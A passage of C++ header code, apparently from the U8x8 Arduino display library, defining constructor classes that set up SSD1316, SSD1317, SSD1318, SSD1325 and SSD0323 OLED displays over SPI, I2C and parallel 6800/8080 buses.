u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1316_128X32_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1316_128X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1316_128X32_6800 : public U8X8 { public: U8X8_SSD1316_128X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1316_128X32_8080 : public U8X8 { public: U8X8_SSD1316_128X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1316_128X32_SW_I2C : public U8X8 { public: U8X8_SSD1316_128X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1316_128X32_HW_I2C : public U8X8 { public: U8X8_SSD1316_128X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1316_128X32_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1316_128X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1316_96X32_4W_SW_SPI : public U8X8 { public: U8X8_SSD1316_96X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1316_96X32_4W_HW_SPI : public U8X8 { public: U8X8_SSD1316_96X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1316_96X32_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1316_96X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1316_96X32_6800 : public U8X8 { public: U8X8_SSD1316_96X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1316_96X32_8080 : public U8X8 { public: U8X8_SSD1316_96X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1316_96X32_SW_I2C : public U8X8 { public: U8X8_SSD1316_96X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1316_96X32_HW_I2C : public U8X8 { public: U8X8_SSD1316_96X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1316_96X32_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1316_96X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1317_96X96_4W_SW_SPI : public U8X8 { public: U8X8_SSD1317_96X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1317_96X96_4W_HW_SPI : public U8X8 { public: U8X8_SSD1317_96X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1317_96X96_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1317_96X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1317_96X96_6800 : public U8X8 { public: U8X8_SSD1317_96X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1317_96X96_8080 : public U8X8 { public: U8X8_SSD1317_96X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1317_96X96_SW_I2C : public U8X8 { public: U8X8_SSD1317_96X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1317_96X96_HW_I2C : public U8X8 { public: U8X8_SSD1317_96X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1317_96X96_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1317_96X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1318_128X96_4W_SW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1318_128X96_4W_HW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1318_128X96_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1318_128X96_3W_SW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1318_128X96_3W_HW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1318_128X96_6800 : public U8X8 { public: U8X8_SSD1318_128X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1318_128X96_8080 : public U8X8 { public: U8X8_SSD1318_128X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1318_128X96_XCP_4W_SW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_XCP_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1318_128X96_XCP_4W_HW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_XCP_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1318_128X96_XCP_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_XCP_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1318_128X96_XCP_3W_SW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_XCP_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1318_128X96_XCP_3W_HW_SPI : public U8X8 { public: U8X8_SSD1318_128X96_XCP_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1318_128X96_XCP_6800 : public U8X8 { public: U8X8_SSD1318_128X96_XCP_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1318_128X96_XCP_8080 : public U8X8 { public: U8X8_SSD1318_128X96_XCP_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1318_128X96_SW_I2C : public U8X8 { public: U8X8_SSD1318_128X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1318_128X96_HW_I2C : public U8X8 { public: U8X8_SSD1318_128X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1318_128X96_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1318_128X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1318_128X96_XCP_SW_I2C : public U8X8 { public: U8X8_SSD1318_128X96_XCP_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1318_128X96_XCP_HW_I2C : public U8X8 { public: U8X8_SSD1318_128X96_XCP_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1318_128X96_XCP_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1318_128X96_XCP_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1325_NHD_128X64_4W_SW_SPI : public U8X8 { public: U8X8_SSD1325_NHD_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1325_NHD_128X64_4W_HW_SPI : public U8X8 { public: U8X8_SSD1325_NHD_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1325_NHD_128X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1325_NHD_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1325_NHD_128X64_3W_SW_SPI : public U8X8 { public: U8X8_SSD1325_NHD_128X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1325_NHD_128X64_3W_HW_SPI : public U8X8 { public: U8X8_SSD1325_NHD_128X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1325_NHD_128X64_6800 : public U8X8 { public: U8X8_SSD1325_NHD_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1325_NHD_128X64_8080 : public U8X8 { public: U8X8_SSD1325_NHD_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1325_NHD_128X64_SW_I2C : public U8X8 { public: U8X8_SSD1325_NHD_128X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1325_NHD_128X64_HW_I2C : public U8X8 { public: U8X8_SSD1325_NHD_128X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1325_NHD_128X64_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1325_NHD_128X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD0323_OS128064_4W_SW_SPI : public U8X8 { public: U8X8_SSD0323_OS128064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD0323_OS128064_4W_HW_SPI : public U8X8 { public: U8X8_SSD0323_OS128064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD0323_OS128064_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD0323_OS128064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD0323_OS128064_3W_SW_SPI : public U8X8 { public: U8X8_SSD0323_OS128064_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD0323_OS128064_3W_HW_SPI : public U8X8 { public: U8X8_SSD0323_OS128064_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD0323_OS128064_6800 : public U8X8 { public: U8X8_SSD0323_OS128064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD0323_OS128064_8080 : public U8X8 { public: U8X8_SSD0323_OS128064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); 